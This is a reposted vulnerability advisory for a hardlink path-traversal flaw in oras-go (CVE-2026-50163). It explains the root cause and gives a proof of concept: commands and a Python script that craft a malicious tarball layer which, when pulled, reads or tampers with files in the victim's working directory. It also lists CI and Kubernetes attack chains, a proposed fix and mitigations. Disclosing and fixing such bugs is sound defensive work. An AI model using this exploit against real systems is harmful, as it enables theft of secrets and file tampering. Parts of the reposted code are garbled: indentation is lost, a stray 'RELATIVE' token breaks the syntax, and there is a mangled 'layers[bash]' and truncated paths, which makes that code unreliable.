oras-go Hardlink Path Traversal Vulnerability (CVE-2026-50163) -DC-Jul2026-817

Listen to this Post

The vulnerability resides in the `ensureLinkPath` helper function within `content/file/utils.go` (lines 262–275). This function is responsible for validating that a hardlink’s target resolves inside the extraction base directory. However, it contains a critical flaw: after validation passes, it returns the original unresolved `target` string to the caller rather than the resolved, validated path.

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION
}
if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", err
}
return target, nil // <-- returns the ORIGINAL target, not the validated path
}

For `TypeLink` hardlinks, the caller subsequently invokes os.Link(target, filePath). The `os.Link` function wraps the `link(2)` system call, which—per its man page—interprets both `oldpath` and `newpath` relative to the calling process’s current working directory (CWD). Consequently, when `header.Linkname` is a relative path, `os.Link` resolves it against the process CWD, not against `filepath.Dir(link)` as the validation erroneously assumed.
An attacker controlling an OCI-compliant registry can exploit this by crafting a tarball layer containing a regular file (payload.tar.gz/README.txt) and a hardlink entry (Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, `Linkname=”victim.secret”` relative). The layer descriptor is annotated with io.deis.oras.content.unpack: "true", instructing `oras-go` to auto-extract.
When a victim runs `oras pull` (or any Go code using content.File), extraction proceeds as follows:

1. Validation of `payload.tar.gz/evil_cwd_link` passes.

2. `ensureLinkPath(dirPath, “payload.tar.gz”, filePath, “victim.secret”)` computes path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret, which is inside the base, so validation passes.
3. The function returns `target = “victim.secret”` (not the resolved path).

4. `os.Link(“victim.secret”, “/payload.tar.gz/evil_cwd_link”)` is called.

5. `link(2)` resolves the relative `oldname=”victim.secret”` against the process CWD, creating a hardlink inside the extract tree that points to <invoker_CWD>/victim.secret.
The resulting hardlink and the CWD file share an inode—reading one reads the other, and writing to one modifies the other. This effectively escapes the extraction directory, enabling arbitrary file read and inode-sharing tampering from the process’s current working directory.

DailyCVE Form:

Platform: `oras-go`
Version: `v1.3.0`
Vulnerability: `Hardlink Path Traversal`
Severity: `Critical`
date: `2026-07-01`

Prediction: `2026-07-15`

What Undercode Say:

Analytics

The vulnerability was identified in `oras-go` and the `oras` CLI. The root cause is the mismatch between validation and actual `os.Link` resolution. The following commands demonstrate the exploitation:

1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret
2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
info.uid = os.getuid(); info.gid = os.getgid()
t.addfile(info, io.BytesIO(c))
link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
link.type = tarfile.LNKTYPE
link.linkname = "victim.secret" RELATIVE
link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
t.addfile(link)
'
3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
... patch layout/blobs/sha256/<manifest> to add
io.deis.oras.content.unpack: "true" on layers[bash].annotations ...
(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)
4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link → 6554160
stat -c '%i' cwd-space/victim.secret → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link → "TOP SECRET FROM CWD"

Observed output confirms the escape:

evil_cwd_link (inside extract dir): inode=6554160
victim.secret (in invoker CWD): inode=6554160
ESCAPE CONFIRMED
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD

A library-level regression test (poc_test.go) dropped into `content/file/utils_test.go` and run via `go test ./content/file/… -run TestPoC` also confirms the inode match.

Exploit:

An attacker who controls an OCI-compliant registry (or any artifact source consumed via oras pull) crafts a malicious tarball layer with:
– A regular file: `payload.tar.gz/README.txt`
– A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, `Linkname=”victim.secret”` (relative)
The layer descriptor is annotated with io.deis.oras.content.unpack: "true". When the victim pulls the artifact, the hardlink is created inside the extraction tree but points to `/victim.secret` due to CWD resolution. This grants the attacker a read primitive for any file in the victim’s CWD that the invoker UID can read, and a tampering primitive for any file writable via the shared inode.

Attack Chains:

  • CI pipelines: `oras pull` runs from a project workspace containing secrets (.env, .git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived or published.
  • Container orchestration: The extract dir is bind-mounted into a lower-trust container while the pull-invoker’s CWD is higher-trust, exposing CWD files across the trust boundary.
  • Kubernetes operators / Flux source-controller: Using `oras-go` to fetch artifacts; their CWD is typically `/` or /root—extremely sensitive.
  • Multi-tenant registry proxies: Using `oras-go` to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.

Attack-surface boundary (`fs.protected_hardlinks`):

On Linux with `fs.protected_hardlinks=1` (default on modern distros), `link(2)` requires the linking user to have READ + WRITE permission on the source file. Thus, as a regular user, the attacker cannot read root-owned files (e.g., /etc/shadow). However, the user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. When `oras pull` runs as root (systemd without User=, container entrypoint default root, Kubernetes operator), every file on the host filesystem becomes reachable—making the bug Critical.

Protection:

Proposed Fix (oras-go):

Change `ensureLinkPath` to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks). The `TypeLink` case should use the resolved path.

// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved
// path to avoid CWD-resolution mismatch at os.Link time.
func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target)
}
if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", "", err
}
return target, path, nil
}
case tar.TypeLink:
var absTarget string
if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
err = os.Link(absTarget, filePath)
}
case tar.TypeSymlink:
var symTarget string
symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)
if err != nil { return err }
if err = os.Symlink(symTarget, filePath); err != nil { ... }

Regression Test:

Extend `Test_extractTarDirectory_HardLink` with a third sub-test that:

  • Creates a sentinel file in the test’s `t.TempDir()` (or an explicitly os.Chdir-entered directory) with a known name, e.g., sentinel.txt.
  • Builds a tarball containing a `TypeLink` entry with `Linkname: “sentinel.txt”` (relative).
  • Extracts.
  • Asserts either `extractTarDirectory` returned an error, or the resulting hardlink’s inode does NOT match the sentinel’s inode.

Mitigation for Users:

  • Avoid running `oras pull` from directories containing sensitive files.
  • Run `oras pull` with a clean CWD (e.g., an empty temporary directory) when extracting untrusted artifacts.
  • Apply the official patch once released (expected around 2026-07-15).

Impact:

Primary: Arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the `oras` CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim’s extract tree pointing to an arbitrary file in the victim’s process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file’s contents verbatim.
Secondary: Inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the “writes inside the extract dir are confined” invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.

Not affected:

– `oras push` (tarball creation side): `tarDirectory` explicitly skips hardlink generation, so pushed content cannot trigger this on the server.
– Symlink extraction path (TypeSymlink): `os.Symlink` stores the target string verbatim and does not CWD-resolve at creation time. The current `ensureLinkPath` return-of-target is correct for symlinks.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top